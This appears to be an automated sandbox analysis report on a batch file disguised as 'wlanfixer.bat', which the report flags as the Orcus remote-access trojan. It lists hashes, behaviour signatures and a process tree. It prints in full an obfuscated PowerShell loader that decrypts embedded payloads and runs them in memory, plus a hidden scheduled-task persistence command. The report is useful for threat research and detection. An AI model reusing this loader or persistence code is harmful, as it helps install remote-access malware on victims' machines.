Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
143s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
23/04/2024, 13:04
Static task
static1
Behavioral task
behavioral1
Sample
wlanfixer.bat
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
wlanfixer.bat
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
wlanfixer.bat
Resource
win10v2004-20240412-en
General
-
Target
wlanfixer.bat
-
Size
3.5MB
-
MD5
45730c9d81cdc2677ea2bd082eb79edb
-
SHA1
7ece7b975ab6506d83dac94f685e2cedbe56dd6b
-
SHA256
31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4
-
SHA512
d4504b96971c71e38207b56ada95f5e78f8536aaa88a3cbeebaa16627ff548f620672c0d4c61e74707fdc2662ec99584b5dc8d6e3fa1b7056f9595531422b687
-
SSDEEP
49152:mR8s3zr/pxAN80OHguszxrEC/agxlnUrLvlKNNwI:d
Malware Config
Signatures
-
Orcurs Rat Executable 1 IoCs
resource yara_rule behavioral3/memory/2548-54-0x0000023670660000-0x000002367095A000-memory.dmp orcus -
Blocklisted process makes network request 11 IoCs
flow pid Process 35 2548 powershell.exe 41 2548 powershell.exe 55 2548 powershell.exe 56 2548 powershell.exe 60 2548 powershell.exe 70 2548 powershell.exe 71 2548 powershell.exe 74 2548 powershell.exe 88 2548 powershell.exe 89 2548 powershell.exe 90 2548 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1132431369-515282257-1998160155-1000\Control Panel\International\Geo\Nation WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1132431369-515282257-1998160155-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 2104 powershell.exe 2104 powershell.exe 804 powershell.exe 804 powershell.exe 804 powershell.exe 2548 powershell.exe 2548 powershell.exe 2548 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2104 powershell.exe Token: SeDebugPrivilege 804 powershell.exe Token: SeIncreaseQuotaPrivilege 804 powershell.exe Token: SeSecurityPrivilege 804 powershell.exe Token: SeTakeOwnershipPrivilege 804 powershell.exe Token: SeLoadDriverPrivilege 804 powershell.exe Token: SeSystemProfilePrivilege 804 powershell.exe Token: SeSystemtimePrivilege 804 powershell.exe Token: SeProfSingleProcessPrivilege 804 powershell.exe Token: SeIncBasePriorityPrivilege 804 powershell.exe Token: SeCreatePagefilePrivilege 804 powershell.exe Token: SeBackupPrivilege 804 powershell.exe Token: SeRestorePrivilege 804 powershell.exe Token: SeShutdownPrivilege 804 powershell.exe Token: SeDebugPrivilege 804 powershell.exe Token: SeSystemEnvironmentPrivilege 804 powershell.exe Token: SeRemoteShutdownPrivilege 804 powershell.exe Token: SeUndockPrivilege 804 powershell.exe Token: SeManageVolumePrivilege 804 powershell.exe Token: 33 804 powershell.exe Token: 34 804 powershell.exe Token: 35 804 powershell.exe Token: 36 804 powershell.exe Token: SeIncreaseQuotaPrivilege 804 powershell.exe Token: SeSecurityPrivilege 804 powershell.exe Token: SeTakeOwnershipPrivilege 804 powershell.exe Token: SeLoadDriverPrivilege 804 powershell.exe Token: SeSystemProfilePrivilege 804 powershell.exe Token: SeSystemtimePrivilege 804 powershell.exe Token: SeProfSingleProcessPrivilege 804 powershell.exe Token: SeIncBasePriorityPrivilege 804 powershell.exe Token: SeCreatePagefilePrivilege 804 powershell.exe Token: SeBackupPrivilege 804 powershell.exe Token: SeRestorePrivilege 804 powershell.exe Token: SeShutdownPrivilege 804 powershell.exe Token: SeDebugPrivilege 804 powershell.exe Token: SeSystemEnvironmentPrivilege 804 powershell.exe Token: SeRemoteShutdownPrivilege 804 powershell.exe Token: SeUndockPrivilege 804 powershell.exe Token: SeManageVolumePrivilege 804 powershell.exe Token: 33 804 powershell.exe Token: 34 804 powershell.exe Token: 35 804 powershell.exe Token: 36 804 powershell.exe Token: SeIncreaseQuotaPrivilege 804 powershell.exe Token: SeSecurityPrivilege 804 powershell.exe Token: SeTakeOwnershipPrivilege 804 powershell.exe Token: SeLoadDriverPrivilege 804 powershell.exe Token: SeSystemProfilePrivilege 804 powershell.exe Token: SeSystemtimePrivilege 804 powershell.exe Token: SeProfSingleProcessPrivilege 804 powershell.exe Token: SeIncBasePriorityPrivilege 804 powershell.exe Token: SeCreatePagefilePrivilege 804 powershell.exe Token: SeBackupPrivilege 804 powershell.exe Token: SeRestorePrivilege 804 powershell.exe Token: SeShutdownPrivilege 804 powershell.exe Token: SeDebugPrivilege 804 powershell.exe Token: SeSystemEnvironmentPrivilege 804 powershell.exe Token: SeRemoteShutdownPrivilege 804 powershell.exe Token: SeUndockPrivilege 804 powershell.exe Token: SeManageVolumePrivilege 804 powershell.exe Token: 33 804 powershell.exe Token: 34 804 powershell.exe Token: 35 804 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2548 powershell.exe -
Suspicious use of SendNotifyMessage 1 IoCs
pid Process 2548 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3292 wrote to memory of 2104 3292 cmd.exe 88 PID 3292 wrote to memory of 2104 3292 cmd.exe 88 PID 2104 wrote to memory of 804 2104 powershell.exe 93 PID 2104 wrote to memory of 804 2104 powershell.exe 93 PID 2104 wrote to memory of 2372 2104 powershell.exe 99 PID 2104 wrote to memory of 2372 2104 powershell.exe 99 PID 2372 wrote to memory of 5080 2372 WScript.exe 101 PID 2372 wrote to memory of 5080 2372 WScript.exe 101 PID 5080 wrote to memory of 2548 5080 cmd.exe 103 PID 5080 wrote to memory of 2548 5080 cmd.exe 103
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\wlanfixer.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3292 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RoF8A1JenCTYvN5F1s7vRkzErCsX+lTeTh7sYe5+YqQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p+fhmC+G5ORMSHe10ZC4cg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CViub=New-Object System.IO.MemoryStream(,$param_var); $bMvnM=New-Object System.IO.MemoryStream; $IwWYG=New-Object System.IO.Compression.GZipStream($CViub, [IO.Compression.CompressionMode]::Decompress); $IwWYG.CopyTo($bMvnM); $IwWYG.Dispose(); $CViub.Dispose(); $bMvnM.Dispose(); $bMvnM.ToArray();}function execute_function($param_var,$param2_var){ $vQMJY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GYRaA=$vQMJY.EntryPoint; $GYRaA.Invoke($null, $param2_var);}$uwemL = 'C:\Users\Admin\AppData\Local\Temp\wlanfixer.bat';$host.UI.RawUI.WindowTitle = $uwemL;$WQdbL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uwemL).Split([Environment]::NewLine);foreach ($CKiFo in $WQdbL) { if ($CKiFo.StartsWith(':: ')) { $vOqbs=$CKiFo.Substring(3); break; }}$payloads_var=[string[]]$vOqbs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2104 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_926_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_926.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:804
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_926.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2372 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_926.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:5080 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RoF8A1JenCTYvN5F1s7vRkzErCsX+lTeTh7sYe5+YqQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p+fhmC+G5ORMSHe10ZC4cg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CViub=New-Object System.IO.MemoryStream(,$param_var); $bMvnM=New-Object System.IO.MemoryStream; $IwWYG=New-Object System.IO.Compression.GZipStream($CViub, [IO.Compression.CompressionMode]::Decompress); $IwWYG.CopyTo($bMvnM); $IwWYG.Dispose(); $CViub.Dispose(); $bMvnM.Dispose(); $bMvnM.ToArray();}function execute_function($param_var,$param2_var){ $vQMJY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GYRaA=$vQMJY.EntryPoint; $GYRaA.Invoke($null, $param2_var);}$uwemL = 'C:\Users\Admin\AppData\Roaming\startup_str_926.bat';$host.UI.RawUI.WindowTitle = $uwemL;$WQdbL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uwemL).Split([Environment]::NewLine);foreach ($CKiFo in $WQdbL) { if ($CKiFo.StartsWith(':: ')) { $vOqbs=$CKiFo.Substring(3); break; }}$payloads_var=[string[]]$vOqbs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2548
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
-
Filesize
1KB
MD5ee6f5f5e5924783870aeedeccdafe9da
SHA10e12ede20df5ec37f2bf3608ad1bc9b4649450fd
SHA256ebf215446a1b5afa86e8ba4316bc99c6d7918acd595786a31e0e5974f4e0f416
SHA512998bad1b069cb0e7a57edef247421e5d5bc0b4f071bd16e4260367e86ac62053168204abc850365bf6eb4f41b32568bea99eb9afda60e7746eff37e604cbe61f
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3.5MB
MD545730c9d81cdc2677ea2bd082eb79edb
SHA17ece7b975ab6506d83dac94f685e2cedbe56dd6b
SHA25631f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4
SHA512d4504b96971c71e38207b56ada95f5e78f8536aaa88a3cbeebaa16627ff548f620672c0d4c61e74707fdc2662ec99584b5dc8d6e3fa1b7056f9595531422b687
-
Filesize
115B
MD50c070f035dc9400e53fb8f401076a6e2
SHA166f2478a0670c0d2f98ed66be3a24b598b893987
SHA256e23d79ffd4a81dc6034e8e3e65b18f52b3f8b82ffa45ce8ff6c4f7cbab02855a
SHA5122c8c8ead67ddd59b93f33ad85e769c1fd8d8a216b012becd362276db7659df97bc3085494d1e641b82752f2c277e7fe2b2bf5d56c40bdcf45727ff53ec9e54a8